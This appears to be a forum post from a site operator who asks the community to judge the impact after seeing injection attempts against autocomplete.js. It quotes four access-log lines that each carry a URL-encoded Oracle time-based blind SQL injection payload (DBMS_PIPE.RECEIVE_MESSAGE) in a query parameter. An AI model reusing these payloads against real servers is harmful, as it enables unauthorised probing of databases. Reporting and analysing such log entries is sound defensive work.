autocomplete.js and sql injection attacks
Hi all,
There is a possible issue with the autocomplete.js. It is reachable for unknown visitors (afaik) and someone tried to directly attack the server with it.
"GET /view/js/autocomplete.js?v=7.0.3%29%3BSELECT%20DBMS_PIPE.RECEIVE_MESSAGE%28CHR%28101%29%7C%7CCHR%28115%29%7C%7CCHR%28113%29%7C%7CCHR%2878%29%2C5%29%20FROM%20DUAL-- HTTP/1.1" 200 12953 "-" "Mozilla/4.0 (compatible; MSIE 6.0; X11; Linux i686; en) Opera 8.54"
"GET /view/js/autocomplete.js?v=7.0.3%3BSELECT%20DBMS_PIPE.RECEIVE_MESSAGE%28CHR%28101%29%7C%7CCHR%28115%29%7C%7CCHR%28113%29%7C%7CCHR%2878%29%2C5%29%20FROM%20DUAL-- HTTP/1.1" 200 12953 "-" "Mozilla/4.0 (compatible; MSIE 6.0; X11; Linux i686; en) Opera 8.54"
"GET /view/js/autocomplete.js?v=7.0.3%27%29%3BSELECT%20DBMS_PIPE.RECEIVE_MESSAGE%28CHR%28101%29%7C%7CCHR%28115%29%7C%7CCHR%28113%29%7C%7CCHR%2878%29%2C5%29%20FROM%20DUAL-- HTTP/1.1" 200 12953 "-" "Mozilla/4.0 (compatible; MSIE 6.0; X11; Linux i686; en) Opera 8.54"
"GET /view/js/autocomplete.js?v=7.0.3%27%3BSELECT%20DBMS_PIPE.RECEIVE_MESSAGE%28CHR%28101%29%7C%7CCHR%28115%29%7C%7CCHR%28113%29%7C%7CCHR%2878%29%2C5%29%20FROM%20DUAL-- HTTP/1.1" 200 12953 "-" "Mozilla/4.0 (compatible; MSIE 6.0; X11; Linux i686; en) Opera 8.54"
I have more details if this is needed, the logs are in my backups. Can someone judge what the impact might be?